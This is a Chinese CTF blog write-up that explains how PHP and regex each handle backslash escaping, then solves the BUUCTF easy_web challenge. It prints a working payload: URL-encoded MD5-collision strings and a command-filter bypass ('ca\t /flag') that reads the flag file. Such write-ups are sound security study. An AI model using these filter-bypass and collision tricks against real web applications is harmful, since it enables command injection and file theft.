3rsh1
/single dog/college student/ctfer
3rsh1's Blog

php中三个\和四个\浅析——[安洵杯 2019]easy_web

基础

题目来自于buuctf。
其实之前自己也见过这个问题,但是当时没怎么在意,草草地就过去了。结果这次有道题目就存在这个问题,果然后悔莫及啊。
我的个人理解:
在正则匹配的过程中,需要两次解释,一个是php解释器的解释,另外一个是正则表达式的解释。我所理解的php解释器的解释就是在解释器输出结果时候的解释,而正则匹配的解释就是在字符串中匹配字串时候,正则表达式对其本身的解释。

echo '/\\/';    //  /\/
echo '\';   //  报错
echo '\/';  //  \/
echo '/\\\/';   //  /\\/
echo '/\\\\/';  //  /\\/

因为在普通的字符串中,反斜杠的作用就是转义特殊字符使之变成原本的字符串。而在输出字符串的过程中,特殊字符也就只有""'',所以反斜杠的对象就是这些特殊字符。然鹅,当反斜杠遇上普通字符会不会转义呢?

echo '\-123';   //\-123

显然是不会转义的,那么我们可以粗略的认为,转义字符只对只在本次事件中有特殊作用的字符进行转义,而对普通字符是不起作用的。
那么继续来看上面的5个例子:
第一个:php解释器在解释的时候,首先第一个反斜杠转义第二个反斜杠,最后结果只有一个反斜杠。
第二个:反斜杠转义了特殊字符',故报错。
第三个:反斜杠虽然转义正斜杠但是没有作用。
第四个:第一个反斜杠转义第二个反斜杠,第二个反斜杠转义正斜杠,但是转义正斜杠没有任何意义。故可以看作是反斜杠字符。
第五个:第一个反斜杠转义第二个反斜杠,第三个反斜杠转义第四个反斜杠。故最后的结果是两个反斜杠。
至于反斜杠对于普通的字符有没有进行转义操作,我还不是很清楚。
然而在正则匹配的过程中,首先是php解释器的解释,其次还需要正则的解释:

$b=preg_match("/\\\\/","\\\\",$d1);
$b=preg_match("/\\\/","\\\\",$d2);
$b=preg_match("/\\/","\\\\",$d3);
var_dump($d1);      // 匹配一个反斜杠
var_dump($d2);      //匹配一个反斜杠
var_dump($d3);      //报错

第一个:首先是php解释器的解释,解释过后为两个反斜杠\\,然后是正则匹配的解释,两个反斜杠中,第一个反斜杠转义第二个反斜杠,最终只剩下一个反斜杠。
第二个:首先php解释器的解释,第一个反斜杠转义第二个反斜杠,第二个反斜杠不会去转义/,因为没有任何意义,在php解释器中,/只是一个字符而已。在正则的解释器中,得到的第一个反斜杠转义第二个反斜杠,最后依旧是一个反斜杠。
第三个:php解释器中解释过后只剩一个反斜杠,然而在正则匹配的解释器中,/是正则表达式的定界符号,但是得出来的反斜杠会转义/,导致最后报错。
所以综上可述:两个反斜杠是不能正则匹配斜杠的,三个和四个反斜杠会正则匹配斜杠。

wp

简单写wp吧。
首先拿到页面之后发现url中有个包含点:

http://e19333d5-9f3a-429f-a7c9-0ac7370c4015.node3.buuoj.cn/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=

img的值很想base64编码,解码两次之后发现是一串数字。盲猜ascii码,解码一下发现是一个图片名。
进而读取index.php的源码。
得到源码之后一顿操作:

发现两个传参点都过滤的非常的好。但是cmd字段过滤的时候貌似存在不争取的过滤反斜杠的操作。而且,反斜杠在linux中是命令拼接的作用即反斜杠不影响命令的执行。我们可以用来绕过正则匹配。
下面还有一个md5的校验,可以用md5碰撞出两串不同的字符但是md5值相同。具体可见php代码审计1
直接给出payload吧:

post的值:
b=%ce%a5%5c%84%57%ad%eb%90%b2%5d%c9%94%cf%c9%c4%bc%1d%89%1e%46%2b%84%1c%ce%54%26%83%fd%70%20%ac%c0%fb%f3%ab%c4%58%ed%47%f6%cb%ff%e4%d1%09%be%2a%8b%1e%a3%fe%e0%31%b6%6c%11%9c%2a%5a%7f%d7%31%d4%40%1a%77%54%40%84%bd%bb%c4%e5%84%75%be%b3%63%36%27%c5%e1%57%88%db%2b%0b%ba%7c%eb%eb%5b%5b%9c%23%41%5a%b6%b4%6a%75%6c%a3%57%9d%9b%6b%79%c4%73%f9%44%94%f5%33%04%f7%1b%c6%90%7b%42%50%bc%49%42%38%13&a=%ce%a5%5c%84%57%ad%eb%90%b2%5d%c9%94%cf%c9%c4%bc%1d%89%1e%c6%2b%84%1c%ce%54%26%83%fd%70%20%ac%c0%fb%f3%ab%c4%58%ed%47%f6%cb%ff%e4%d1%09%3e%2b%8b%1e%a3%fe%e0%31%b6%6c%11%9c%2a%5a%ff%d7%31%d4%40%1a%77%54%40%84%bd%bb%c4%e5%84%75%be%b3%63%36%27%c5%e1%57%08%db%2b%0b%ba%7c%eb%eb%5b%5b%9c%23%41%5a%b6%b4%6a%75%6c%a3%57%9d%9b%6b%79%c4%f3%f8%44%94%f5%33%04%f7%1b%c6%90%7b%42%50%3c%49%42%38%13
get的值:
?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=ca\t /flag
没有标签
首页      web安全      php中三个\和四个\浅析——[安洵杯 2019]easy_web

发表评论

textsms
account_circle
email

3rsh1's Blog

php中三个\和四个\浅析——[安洵杯 2019]easy_web
基础 题目来自于buuctf。 其实之前自己也见过这个问题,但是当时没怎么在意,草草地就过去了。结果这次有道题目就存在这个问题,果然后悔莫及啊。 我的个人理解: 在正则匹配的过程中,…
扫描二维码继续阅读
2020-05-01